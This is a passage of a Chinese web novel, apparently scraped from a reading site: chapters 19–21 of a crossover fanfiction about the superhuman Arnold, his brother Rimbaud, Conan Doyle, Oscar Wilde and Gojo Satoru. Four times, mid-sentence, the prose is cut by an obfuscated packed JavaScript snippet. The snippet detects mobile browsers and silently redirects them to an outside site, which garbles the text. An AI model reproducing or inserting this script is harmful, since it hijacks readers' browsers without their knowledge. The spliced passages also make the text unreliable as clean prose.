原本只是想借着兰波这件事牟取更多利益,但是对方竟然这么舍得,居然肯让阿诺德作出承诺? 欧洲大多数国家都养着与契约相关的异能者,所以并不担心食言这种可能,对方许下了诺言,就绝无可能违背,否则就会遭受异能的反噬,最好的结果也是沦为废人。 一个来自阿诺德的承诺?福楼拜一边步履匆匆,一边思考着,这未免太大方了些,不像是柯南·道尔那个老狐狸能干出来的事,对方可不会这么轻易地抛出价值巨大的筹码,太奢侈了,不是对方的作风。 阿诺德是谁?他对上两个同等级的超越者游刃有余,甚至神不知鬼不觉地杀死了其中一名超越者,另一名幸存下来的超越者莫泊桑也因此被狠狠挫伤了信心,需要很多时间疗养。 不管是肉.体还是心灵,阿诺德给莫泊桑造成的伤害都太大了,如果不迈过这个坎,或许会一直原地踏步,甚至是退步。 以目前的情报来看,阿诺德无疑是个少年天才,无论是在近身格斗,还是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377875|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异能战斗中,对方都强的让人忌惮,他甚至才十六岁,还是个未成年的孩子,未来还有无限的可能。 哪怕不谈潜力,就阿诺德现在表现出的能力来看,一个承诺简直价值连城,是真正的一诺千金。 在福楼拜看来,单单为了兰波,英国付出的代价太大了,兰波已经是英国的阶下囚,更何况他已经投向了英国。 让福楼拜站在英国的立场考虑,与其接受可有可无的好处将兰波放走,不如直接杀掉兰波,这样就一劳永逸了。 柯南·道尔想必也是这样想的。英国毕竟没有密令,必须面临兰波反叛的隐患,既然如此,又为什么要将兰波送回去,他们无法彻底收服兰波,当然也不愿让兰波归国为敌所用,要知道,法国可是有密令的,唯有掌握密令,才能完全发挥兰波的实力。 看来英国那边超乎想象地重视兰波啊……福楼拜思量着,倒是可以就此做文章。 福楼拜在几分钟之内赶到了会议室,室内寂静无声,就算呼吸都是尽可能地放轻,生怕引起了某人的注意。 阿诺德本来都要打瞌睡了,看见福楼拜才直起身,结果下一秒又打了个哈欠,“考虑好了吗?” 无数情报在福楼拜脑海中一闪而过,衡量清楚其中蕴含的意义、以及不同答复可能造成的后果之后,福楼拜果断抛弃了原本的想法。 “可以。”福楼拜沉稳的声音响起。 这种大事不是口头就能商议清楚的,在详细的商谈后,福楼拜让人打印了一份新的和谈协议,其中包括了各种细节,比如这个承诺的限定范畴,不可以危害英国,不可以要求阿诺德自戕……等等。 阿诺德随意招了招手,让自己人来检查一下协议的合理性,在谈判桌上同仇敌忾的英国外交官们聚在一起,分工协作,时不时讨论一下这里的描述是否合适,那里的指代是否有歧义。 大约十分钟后,阿诺德得到了肯定的答复,英国外交官们认为,这是一份严谨且周密的协议,尽管是临时草拟的,也不能否认其专业性。 柯南·道尔将这件事放权给了阿诺德,因此签署协议无需过问对方。 阿诺德没有带笔的习惯,事实上他也不需要自己携带什么。他刚一伸出手,手指微微勾了勾,立刻有人灵性地递来一只钢笔。 对方得到了上司赞赏的目光,赶紧受宠若惊地低下头。 阿诺德翻了几下,在最后一页找到签字栏,签上了自己的大名。 这协议是双份的,签好后,英法双方各自持有一份,福楼拜打开看了一眼阿诺德的字迹,感觉被伤到了眼睛,马上就合上了。 这字迹连三岁小孩也不如,就连小孩子都知道写字要工整,而阿诺德的字就跟鬼画符没两样,福楼拜需要仔细辨认才能认出那几个歪歪扭扭的字母组成的名字—— 【ARNOLD(阿诺德).】 在契约型异能者的见证下,阿诺德感觉到一种无形的约束将自己与某个不知名的存在联系起来,建立契约的感受已经很新奇了,也不知道撕毁契约会是怎样? 如果不是游戏不能回档,他也不太喜欢出尔反尔,或许真的会想试试违约的后果…… 19.chapter19 办公室内,柯南·道尔正在询问阿诺德,想要从阿诺德的口中了解会议的经过。 “这样……那样……然后就没了。就是这么简单!”阿诺德叉着腰,得意洋洋地对柯南·道尔说道。 柯南·道尔笔尖一顿,做记录的手停在半空中,回忆了一下阿诺德口语化的描述,深感从中实在提取不出什么有用的信息,这才放弃了。 他只得妥协道,“把兰波叫进来,我问问他。” 这种事情问阿诺德果然没用,虽然他是当事人,但是以这小子的叙事习惯,事情的起因、经过和结尾都会被概括成一句简单的:“那个不知道叫什么的男人来会议室跟我签了协议,然后事情就圆满收官了!” 而且阿诺德还不忘在最后补充一句,表示这事儿对他来说很轻松,接着就眼睛亮晶晶地看着柯南·道尔,好像在等待什么。 “……”柯南·道尔把目光从阿诺德脸上移开,顺着阿诺德的话往下安抚道,“你做得很好。” 阿诺德的反应和以前一样,有时他做了什么值得表扬的事情,就会用那种尾巴翘得老高的语气炫耀,柯南·道尔哄阿诺德的经验丰富,一听就明白需要夸奖了——尽管柯南·道尔并不是每一次都会配合地哄,但是谁让阿诺德这回的确为他解决了麻烦呢? 虽然是个天天惹事的熊孩子,偶尔懂事的时候,柯南·道尔倒也不会吝啬一声夸赞。 阿诺德转身离去,应该是去叫兰波了。 柯南·道尔靠在椅子上等了一会儿,很快,兰波的身影从门后探了出来。阿诺德也没急着走,他凑到兰波耳边对嘱咐了什么,就把毫无防备的兰波推到了柯南·道尔的跟前。 兰波措不及防,从唇间漏出一声“啊”,他乍一看面无表情,细看可以发现些许迷茫,试图伸出手挽留阿诺德,然而对方动作比他快,马上关上了门,把兰波一个人留在办公室里。 此时的兰波如同一只被迫离开鸡妈妈的小鸡崽,分外茫然和无助,看得柯南·道尔嘴角抽了抽。 柯南·道尔咳了一声,决定开门见山,“把谈判时发生的事情跟我说一下吧,尽可能详细一点。” 没办法,这个记录是呈给女王的,所以要柯南·道尔亲自来问,而且按照惯例还需要着重询问当事人,毕竟当事人的观感和判断通常都是最准确的。 毫无疑问,阿诺德就是那个当事人,但是他全程除了签字,别的事项都是他人代劳,估计也不会注意那些细枝末节,所以只能让离阿诺德最近的兰波来弥补这份缺失了。 “……”兰波只混乱了一瞬,就在柯南·道尔鼓励的眼神下和盘托出,还补充了一些细节。 半晌,柯南·道尔点了点头,抖了抖纸张上未干的墨水,“不错,比阿诺德讲的清楚多了。” 兰波下意识为阿诺德找理由,脱口而出,“哥哥只是太困了而已。” 柯南·道尔“嗯?”了一声,像是想起了什么,突然目光变得锐利起来,准确发现了违和之处。 “他平时可比哈士奇还要精力旺盛。”他意味深长,“哦,太困了?” 联想到前些天属下呈上来的消息,柯南·道尔心里有了结论。 近些天有伦敦的包裹寄到了这里,一般来说,这种不清楚底细的快递都是会被拦截并严格搜查的,但这是阿诺德的东西,柯南·道尔暂时不想考验对方对自己物品的占有欲,而且寄出包裹的人留下的标记也让柯南·道尔挑了挑眉——是熟人。 阿诺德突然反常地打瞌睡,这是为什么?好难猜啊。 “……”兰波脑子里此刻只闪过一句话,完蛋了,哥哥会生气的,他太急着为哥哥说话,不小心把哥哥嘱托他保密的东西暴露了。 兰波满脑子都是完了,没有注意看柯南·道尔的表情,因此也没发现对方并没有责怪的意思,只是好笑地打量着单纯的兰波。 兰波可比阿诺德好逗多了。柯南·道尔心道。 目送兰波生无可恋地走出办公室,带着一种直面末日的决绝,而阿诺德兔子似的窜出来,把弟弟拉走了,仿佛没看见弟弟脸上的心虚。 . 另一边,兰波鼓起勇气向阿诺德坦白道,“对不起哥哥,我好像把你的秘密暴露了。” “?”阿诺德思考了一下才回忆起来,是他之前跟兰波提到的‘不要跟柯南大叔说’的事情,看兰波的意思,应该是发现了? “柯南大叔有没有说什么?” “没有,柯南先生……”兰波沮丧道,“直接让我走了。” “那就没关系,”阿诺德搓了搓弟弟的金发,“柯南大叔可没有秋后算账的习惯,有事当场就会说出来。” 既然柯南·道尔没有特意让人留下,那就意味着不计较阿诺德在事关重大的会议上打瞌睡的事。 看来柯南大叔最近心情很好嘛。阿诺德作出结论。 但是兰波还是有些自责,他感觉自己总是在拖后腿。哥哥对他很好,但是自己就像个累赘一样,毫无用处就算了,还总是做错事。 见兰波还是耷拉着眼,浑身笼罩着低沉的氛围,阿诺德动用人生中全部的社交经验,只憋出来干巴巴的安慰,“没关系,这只是小事。” 还是卫兵路过的时候跟他说了一声,“小先生,您的快递到了。” 阿诺德这才灵机一动,“走,我有个好东西给你看看。” 不开心没关系,他有很多能让人快乐起来的存货。 看到这里是不是以为是什么违禁品?实则不然。 卫兵很贴心地将包裹放在门口,大的、小的分门别类,几乎堆成了一座小山。 兰波主动帮忙把东西搬进去,他的重力异能在这种时候特别方便。 刚一进房间,阿诺德就兴致勃勃地开拆,撕掉快递上的标签,兰波则敏锐地察觉到这些快递的共同点:它们好像都是由一个叫做O.W的人寄出来的。 兰波余光瞥见了房间里的各种家具,还有大屏的电视,电视下面的柜子的抽屉被人拉出来,里头凌乱地摆放着游戏卡带,这些都是兰波不了解的事物,而阿诺德在此一道上可以说是精通。 有人给阿诺德寄来了最新的游戏机和市面上最新发售的游戏,对方显然是哥哥的熟人。 那个O.W是谁?他是哥哥的什么人?兰波对此一无所知。 “王尔德啊。”阿诺德随口回复道。 兰波这才意识到自己不小心把心里话说出来了,他重复了一遍这个陌生的名字,“王尔德?” “他叫奥斯卡·王尔德。”阿诺德评价道,“不得不说《怪物帝国》玩得不错。” 阿诺德和王尔德一起联机打通最高难度,通关记录至今在全服排行前列——不过后来阿诺德突发奇想把王尔德为他画的肖像送去拍卖了,差点把王尔德气死,于是两人就这么闹掰了。 说实话阿诺德当时还挺纳闷,他是真不理解王尔德为什么反应那么大,仿佛他做了什么天怒人怨的坏事。他这么做其实没有别的恶意,就是很纯粹的好奇。 ——他只是好奇他的画像能卖多少钱罢了。在阿诺德的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385330|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观念里,这幅画既然已经送给了他,那当然就任他处置。 只可惜不仅王尔德对此有意见,就连柯南大叔都听说了这回事,当天就脸色铁青地把他逮了回去,将那副画着超越者真容的肖像取了回来,三令五申让阿诺德不许再搞事。 不就是一副画像么?阿诺德听说王尔德给很多人都画过肖像,没什么特别的……应该吧?想起王尔德当时蕴含失望的面孔,阿诺德没由来地走了会神。 不过王尔德也没有因此记恨太久,这才过了半年多,远在北方边境的阿诺德就收到了对方的和好邀请——一大堆精心搜集的游戏。 于是阿诺德就顺水推舟地忽略了过往的不愉快,连着打了好几天游戏,正因为这些天泡在游戏里,把通宵当做家常便饭,他才会在众目睽睽之下打瞌睡。 说起《怪物帝国》这个经典的游戏,阿诺德还有些怀念,便打算回顾一番,正好带兰波感受一下打游戏的乐趣。他相信,游戏这么好玩,兰波玩了就不会不开心了。 阿诺德创建了一个新的联机存档,两人的出生点不同,兰波出生在最安全的新手村,几乎没什么危险,而阿诺德就没那么幸运了,一落地就被各种怪追着打。 好在他手法没有生疏,拿了把武器就杀怪如劈柴。他自己沉迷于打怪升级,到处攒装备抢地盘,让兰波自己探索慢慢玩,因为游戏这种东西还是要自己探索才有趣,至少在新手村,这个游戏可以玩得很轻松。 当阿诺德已经熟练地把后期BOSS的头颅割下来当做招募士兵的噱头,达成“大领主”成就时,兰波还在新手村徘徊,但他也不白蹭装备,每当阿诺德打败了某个BOSS,他都会及时地送上夸夸,把阿诺德哄得高高兴兴。 到最后阿诺德已经忘了最初的目的,心情愉悦的阿诺德只觉得兰波怎么看都顺眼,不愧是他弟弟。 . 英国伦敦,一名黑发青年从宫里走出。 最近,英国异能界都流传开了一个好消息,北方战线趋于平稳,很快就要回归和平,这都得多亏了柯南·道尔和阿诺德的贡献。 奥斯卡·王尔德自然也听说了这件事,他刚从女王的召见中脱身,就遗憾地得知他想见的人已经不在伦敦了。 大约两个月前,阿诺德就赶往北方战场,那时候王尔德与莎士比亚等人奉前往了其他战场,他一直想跟阿诺德解释,奈何时间上实在赶不及。 而且王尔德确实也不敢再去找阿诺德了,当初在超越者们的聚会上,他喝大了,酒精放大了怨气,于是怀着某种赌气的心思说,“有阿诺德在的地方,我就算死也不会来。” 阿诺德没有来参加那个宴会,但是王尔德毫不怀疑对方已经知道了他神志不清时说的胡话。 当时阿诺德干的荒唐事已经传遍了伦敦,阿诺德一向是这个作风,大家一点都不奇怪,只是把这事儿当做茶余饭后的笑谈。 当然,没人会把这件事搬到台面上来讲,阿诺德可不是什么会忍气吞声的性子,一旦让他知道有人敢拿他当谈资,那所有涉及人员都要倒大霉,大家都清楚阿诺德的行事风格,他什么事都干得出来。 而王尔德作为一个风评颇佳的文艺青年,用来表明心意的画像被对方一点都不给面子地拿去拍卖,这让他的脸都丢光了,心灵也受到了重创——他没想到阿诺德真的干得出来把肖像拍卖这种事,也想不到阿诺德一直以为他的画作是大家都有的待遇。 他的一颗心都碎成了渣渣,各种复杂难言情绪在酒精的催化作用下,变成了让他后悔的话。 20.chapter20 唯一让王尔德感到庆幸的是,阿诺德既往不咎地收下了他的赔礼,这让他对阿诺德的滤镜又深了一层。 王尔德跟阿诺德的初遇是在宫里,当时阿诺德正抓着女王繁复蕾丝边的袖子,眼巴巴地瞧着女王的脸色,软磨硬泡地让女王答应了他的出境请求。 正当女王无奈叹气时,王尔德好巧不巧推开门走进了大厅。 推门的动静惊动了阿诺德,他刚刚得到了女王的出境特批,正是情绪高昂的时候,神采飞扬地朝王尔德投来眼神。 阿诺德默不作声地打量着陌生的王尔德,而王尔德则顿住了脚步,没人知道这一刻他的心里在想什么,只有他自己永远将这一瞬间的感受记在了心里。 也许可以说是惊鸿一瞥。王尔德怔愣在了原地,像个情窦初开的毛头小子一样看着阿诺德,移不开目光。 直到阿诺德失去了兴致,顺走了桌上的一块甜点,接着毫不在意地和他错身而过,如同路过一面墙、一株无谓的野草,王尔德才听到了胸腔里轰鸣的心跳声,心脏砰砰地跳着,撞的他心口发疼。 “我走啦!”阿诺德对女王说道。 女王无可奈何地叹息,就算知道阿诺德没这么脆弱,还是忍不住说了句,“慢点,别被门绊倒了!” 而阿诺德压根没听清,他早已不知道跑到哪去了,如同一闪而过的流星,在虹膜里留下一瞬间的绚烂,下一刻就飞快地消失了,仿佛从未来过。 而被晾在一旁的王尔德大脑一片空白,心如擂鼓。 他从未如此清晰地意识到一件事——他好像对那个人一见钟情了,而当时的王尔德甚至不知道对方叫什么名字。 第一次见到阿诺德的人通常只会被其摄人心魄的美貌震住一瞬,即使止不住地回想,也不至于硬控太久。 唯有王尔德被那一次的见面蛊惑得神魂颠倒,他连着好几天神思不属,闲暇作画时,都会不自觉地想起阿诺德的脸。 相熟的友人都笑他,“你还真是个颜控。” 颜控一词可以概括王尔德的前半生,他痴迷于各种颜色的美人,无论男女,但并不执着于与对方形成亲密关系,更多的是欣赏。 有时出于同情或别的什么原因,王尔德也会无条件为艳丽的美人提供帮助,不索取报酬,是英国异能界公认的好人。 王尔德的异能就像他本人一样,充满着文艺的气息,异能名为【夜莺与玫瑰】,可以从空气中催生出玫瑰,每一朵玫瑰都可以夺走一定范围内的一个生命。 身为超越者,王尔德可以催生出成千上万朵异能玫瑰,一人可抵千军万马,寻常人一旦进入他的领域,转瞬就会被吸干生命力,变作一具干尸。 【夜莺与玫瑰】是那种比较典型的异能,正面作战能力很强,但在超越者中不算太出格,它既不能复活死人,又不能逆转时间。 唯有王尔德自己清楚【夜莺与玫瑰】的特别之处,这个异能放大了他的特质,让他本就重度的颜控发展到了深入骨髓的地步,如果让他一辈子见不到美人,那他可能会绝望地自杀。 王尔德毫不怀疑,自己之所以活在这个世界上就是为了跟美人生活在同一天空下。 而阿诺德在王尔德见过的众多美人中,也是最顶尖的那一档,不,对方应该在单独的一档,因为没人可以跟他相提并论——王尔德见到他的第一眼就这么认为。 王尔德对于颜值的评判异常准确,他曾夸赞超越者同僚的容颜,称莎士比亚犹如精灵王一样飘然于世,不染半点尘埃,而柯南·道尔就像一斟醇厚的美酒,沉淀着岁月的厚重与深沉,阿加莎如凛冽的冬玫瑰,带着尖锐的刺…… 他总是很擅长欣赏各种各样的美,并将其作为成长的催长剂。这也许就是他能无痛成为超越者的原因。 而对于阿诺德,王尔德给出的评价只有“完美”。即使是最挑剔的鉴赏家,都不能从对方的脸上挑出瑕疵,只会惊叹着这如同上帝亲自执笔的鬼斧神工。 超出常识的美貌让人不禁产生一个怀疑——对方是不是上帝最宠爱的亲生孩子?不然他为何如此强大、美丽,一举一动皆引人注目? 就算性格骄纵,行事跋扈,亦不影响那种超然的魅力,将任性的孩子气与玩世不恭的残忍等特质混合于一身,偏偏没人觉得这有什么不对,仿佛他生来就是如此。 阿诺德自一出生就站在最高处,百无聊赖地俯视着蚂蚁般的凡人,浑然不知自己有多么耀眼,璀璨,就像烈日从来不在意其投射的日光会灼伤多少人,阿诺德也从未考虑过他人的感受,他一意孤行,唯我独尊,眼里从来不包括他人,心里只装着他自己。 阿诺德只是看起来没有架子,对所有人的态度都差不多,实际上并不是这样。他的容易接近与其说是平易近人,不如说是平等的轻慢和蔑视。 他仿佛自始至终都相信着自己就是世界中心,整个世界都是为了他而运动、旋转。 正如他的异能【I】一样,因为自负自信,所以无所不能。 王尔德看透了对方的本质,偏偏就这么被对方毫不掩饰的高傲与烈日高悬般的轻蔑俘获了。 王尔德对阿诺德的感情始于皮囊,忠于人格,他早已记不清自己是从何时起意识到自己对阿诺德的这份特殊,但当他在独酌后的一夜里恍惚间觉醒了新的能力之后,第一时间就用新的能力为阿诺德画了一副栩栩如生的肖像。 次日,这幅饱含心血的画像便作为礼物送给了阿诺德。王尔德这辈子也只这么郑重地对待过一个人,他从今往后也很难再这样掏心掏肺地对待其他人了。 从【夜莺与玫瑰】脱胎而出的肖像蕴含着神奇的力量,具有替死的作用。而王尔德必须为这个超标的能力付出代价,他画完肖像之后直接昏迷了,但次日还是从昏迷中挣扎起来,让下属为阿诺德送去了那副具有魔力的画像。 后来王尔德得知了替死肖像的极限,它可以作为载体,让濒死之人在画框内重生,只要及时寻到残骸,就会自动催生残骸的血肉,为濒死之人提供新的躯体。 这个能力一经出现就震惊了所有知情人,但是让人大失所望的是,它的作画对象具有严格的限制。 王尔德对艺术和美人有着常人难以理解的热衷,他本能地拒绝为容貌不够出挑的人作画,就算他碍于某些原因不得不作画,【夜莺与玫瑰】也不愿为劣质画像赋予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388621|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔力。 迄今为止符合条件的人只有阿诺德一个,再也没有哪个人能像他一样轻易地获得【夜莺与玫瑰】明目张胆的青睐。 有时王尔德会以为【夜莺与玫瑰】是有生命的,并且跟他共用一颗心脏,不然为什么会如此默契地为同一个人而疯狂跳动呢? . 没多久,阿诺德回到了伦敦。 他的回程并没有多少人知晓,前来迎接的人除了他的副官希莱尔,就只有久别重逢的王尔德。 黑发青年身着初见时的燕尾服,一见到阿诺德的身影,就忍不住勾起唇角,露出一个洋溢着快乐的笑。 过了那么久,满溢的思念早已将过往的不愉快冲散了,他现在只是想跟阿诺德说话,哪怕只是随便寒暄两句也好。 王尔德伸出一只白手套的手,语气带着玩笑式的放松,让外人猜不到他的真实想法。 “真是好久不见,甚是想念哪。”王尔德心口发热道。 “好久不见,王尔德,”阿诺德并不见外,顺势接受了对方的搀扶,从车上跳下来,“这里怎么这么多玫瑰?” 阿诺德奇怪地环视着四周,暴露在空气中的土地长满了娇艳欲滴的玫瑰,在风中摇曳着,与略显萧条的街道气质不符,倒是跟眉眼俊美的王尔德很搭。 他随口说道,“你不会把家里的玫瑰移栽到这里了吧。” 王尔德住在一个遍地玫瑰的庄园里,他继承了祖上的遗产,因为对花卉的热爱而将其种满了每个角落。 王尔德还曾以“花太多种不下”为由送给阿诺德很多植株,无一不是品相极佳的珍品,并且生命力顽强。 即使阿诺德整日不着家对植物们疏于照料,它们仍然在盆栽里生长得很好,成为了一道明丽的风景线。 “怎么可能,”王尔德矢口否认,“我才不会这么对我的玫瑰。” 虽然这些玫瑰也确实跟他脱不开干系……王尔德眼神飘忽,他在这里等了阿诺德十来分钟,等待的时间里,只要一想到阿诺德的脸就不禁心情雀跃,沉浸在即将见到对方的喜悦当中,结果就不小心凭空催生了许多玫瑰。 就在这时,阿诺德从身后牵出一个金发蓝眼、神色淡漠的少年,并自然而然地介绍道,“这是我弟弟兰波。” 兰波略有些走神,他不太懂人际交往,因而没有主动握手,只是默默地观察。 还是王尔德善解人意地给了个台阶,“初次见面,我是奥斯卡·王尔德。你可以叫我王尔德。” 于是兰波才游神地说了句,“你好,王尔德。” 王尔德第一眼被兰波小小地惊艳了一下,不过他的注意力从始至终都在阿诺德身上。 阿诺德见两人交换姓名,没有多余的反应,那双鎏金色的眸子短暂地在王尔德身上停留了一秒,突然说道,“我要回家了。你——” 王尔德一时间将心提到了嗓子眼。 阿诺德说话大喘气,“——要不要来我家打游戏?” 王尔德这才松了口气,假装不在意地“咳”了声,自然无有不应,“好。” 他从未如此庆幸自己为了接近阿诺德练了一手高超的游戏技术。 21.chapter21 四人成行,一同坐上了车,很快就到了家门口。 安保人员尽职尽责地确认身份后,这个独属于一人的广袤领地为黑色的车辆敞开了大门。 阿诺德坐在车里,撑着脑袋去看外面的风景。 这里的景色他已经见过无数遍了,明丽的园林,鹅卵石堆砌而成的小道,精心设计的假山和沟壑中流过的泉水,甚至来来往往的各种佣人和园丁,其中大多数都是眼熟的面孔。 这个领地异常宽阔,但由于它的所有者并不热衷于交际,所以路上没有多少车辆,很快,坐在驾驶位、承担司机职责的希莱尔就说,“到了。” 阿诺德跳下车,久违地打量着自己的领地,这是女王在为他授爵时额外赠送的地盘,据说曾作为享誉英国的皇家园林,等阿诺德住进去后,又有一座无比华丽的别墅拔地而起。 家里和之前没什么区别,阿诺德扫视周围,门口的喷泉和石雕一成不变,但……总感觉好像听到了什么奇怪的声音。 他耳朵动了动,再次确认不是幻觉。 一种古怪的、不同寻常的破空声,仿佛子弹穿透空气,又像是重物从高空坠下。 阿诺德若有所思地抬起了头,看向头顶的天空。 此时,他的副官希莱尔已经把钥匙插.进了锁眼,只听一声“咔哒”,希莱尔推开了门,对主人及其客人说道,“请进。” 而阿诺德的注意力早就不在他身上了,他脸上都是跃跃欲试的神色,昂起脑袋,王尔德顺着他的视线望去,只看见头顶有不明物体飞速坠下,瞳孔一缩,下意识地想要推开阿诺德,然而阿诺德像是原地扎了根似的,纹丝不动,甚至对王尔德微笑了一下,做了个“别管我”的口型。 电光火石间,兰波也察觉到了不对,第一反应就是挡在阿诺德身上,用重力异能抵挡突如其来的袭击。 “唔?”阿诺德被兰波糊了一脸,心想弟弟太大只也不是好事,眼见着某个“重物”即将落地,他灵机一动将兰波拦腰抱起来,极快地调转成扛在肩膀上的姿势,为了防止弟弟挣扎还特意空出一只手去按住对方。 至于另一只手,则揪住了某个“重物”的领子。 此重物名为五条悟,今天在楼顶试验无下限术式的极限,于是从楼顶进行了信仰之跃,但专心致志的五条悟没注意到一件事——这个家真正的老大回来了,好巧不巧,正好赶上他跳楼的时间。 阿诺德以一种不可思议的反应力精准扯住了五条悟的衣领,衣领发出不堪重负的“撕拉”声,五条悟外套的领子都快被撕成碎布了,眼看着就要摔到地上。 还好阿诺德足够迅速地拽住了其他的布料,让白发蓝眼的男孩不得不悬挂在他的手上,没有着力点,挣扎不得的样子如同一只乖巧的白猫。 六眼是无死角的,所以五条悟可以看到自己的脚离地面仍有一段距离。他尝试蹬了几下脚,揪着他领子的手却如同铁钳一样,将他牢牢固定在空中。 五条悟盯着阿诺德那张美丽的脸蛋,感觉有些牙酸,突然想起了被对方支配的糟糕回忆。 这个人是什么时候回来的? 阿诺德饶有兴致地看着他,如同拎着一只不听话的猫。他想要伸手去逗,却发现腾不出手。 转头一看,兰波浑身都冒着红光,显然还在维持着异能,兰波顶着一张无辜的脸,趴在他肩膀上小声提醒道,“哥哥。”我还在这里呢。 “……”阿诺德这才想起兰波还挂在他身上,他对弟弟向来是独一份的待遇,于是他把树袋熊似的兰波从身上薅下来,还不忘跟希莱尔说了声,“去准备下午茶。” 希莱尔被陡然发生的变故惊住了,正当他一脸问号地看着从天而降的五条悟时,不做人的上司难得提出了正常的要求。 希莱尔打了个哆嗦,意识到这是个好机会,赶紧在阿诺德没改变主意之前消失在了对方的视野里。 王尔德在此之前只听说过,还从未亲眼见识过阿诺德的怪力。 现在王尔德亲眼看到了阿诺德轻易抗下高空坠落的巨大作用力,王尔德愕然地张口,像个呆头鹅。 而阿诺德下一刻回过头的时候,他又以常人难以企及的速度整理好了表情,没有半点失礼。 王尔德风度翩翩地说道,“这是这位……小朋友准备的惊喜么?还挺有……”他绞尽脑汁才想出夸人的词,“挺有创意的。” 阿诺德挑了挑眉,盯着五条悟的脸看了半晌,在空荡荡的脑瓜里努力扒拉几秒,好不容易才想起一个对的上号的名词,“这是惊喜吗?六眼。” 他光记得五条悟是六眼神子,却将对方的本名给忘了。 五条悟过了两秒才反应过来“六眼”称的是自己,他扭开头,“不是,我只是在测试无下限的防御效果,试试从楼顶上掉下来能不能完全抵消伤害。” 阿诺德听到陌生的词汇,倒是起了几分兴趣,“无下限?好名字。” 五条悟的异能就叫【无下限】吗?这可比他的【I】听起来有意思多了。阿诺德心中划过这个想法,下一刻就惊动了原本沉眠着的【I】,不能说话的异能力在此时委屈地向阿诺德的想法发出抗议。 阿诺德感觉到莫名躁动起来的异能,心想,行了,你比【无下限】有意思,浮躁的异能这才平静下来。 五条悟不适地挣扎了一下,憋屈地瞪了一眼阿诺德,岂料对方根本不为所动,仗着身高优势硬是把他拎进去了。 提前沏茶等候阿诺德的管家见此情形讶异了一瞬,忍下眼底的笑意,“请用茶吧,小先生。” 不知道为什么,管家总是喜欢称阿诺德为小先生,而阿诺德对此好像没有意见。 慢慢地,这个称呼逐渐成了这栋富丽堂皇的别墅里的侍从们对他的爱称,尽管按照英国人对男主人的惯称,他们似乎更应该叫他“老爷”,但他们从不这么称呼阿诺德。 这是因为阿诺德太年轻了,像个朝气蓬勃的太阳,与那些暮气沉沉、严厉刻薄的贵族老爷们没有半点相似之处。 而阿诺德本人对此毫无所觉,接过茶就开始“吨吨吨”地牛饮,把本应用来品尝的红茶当做解渴的白开水喝了,看到杯底还未完全融化的方糖,撇了撇嘴,“太甜了。” 五条悟举起手,突然出声,“你把我的茶喝了。”他趁着阿诺德喝茶的间隙挣脱了下来。 “抱歉,”阿诺德还没表示什么,管家已经适时地对自己的服务不周表达了歉意,“小先生,这杯没有放糖的才是您的饮品。” 说着,管家递来一杯新茶,显然,这才是阿诺德习惯喝的东西。 阿诺德喝了一口,表情没什么变化,他只瞧了一眼杯底,见没有方糖沉淀,就将这件事轻轻揭过了。 一大伙训练有素的佣人上前来为阿诺德脱下外套,取下帽子,虽然阿诺德乍看没有多少疲惫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399781|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之色,仆从们还是一个个地眼含热泪,不约而同地心想,这一路上风尘仆仆,小先生真是受苦了。 帮忙在浴缸里放好水的女佣心疼地看着阿诺德,替他关好门,又贴心地送来浴袍。而阿诺德完全在状况之外,他一脚踩进水里,发现水温刚刚好,于是放心地一头栽进了水下,咕噜噜地吐出一连串泡泡,憋气十几分钟才冒出湿漉漉的脑袋,接着将毒手伸向了漂浮着的数只小黄鸭。 紧接着浴室里传来了塑胶小黄鸭此起彼伏的叫声,水声哗啦中,氤氲起乳白色的蒸汽。 只听“咔嚓”一声,门被拉开,膨胀的蒸汽从门缝里争先恐后地挤出来,与此同时,阿诺德潦草地披上浴袍,趿拉着拖鞋,在哒哒的脚步声中走出了浴室,并且极度放松地打了个哈欠。 眉目熟悉的女佣早已等候多时,以她的年纪已经足够当阿诺德的妈妈了,因而格外关心阿诺德这个年少得过分的主人。 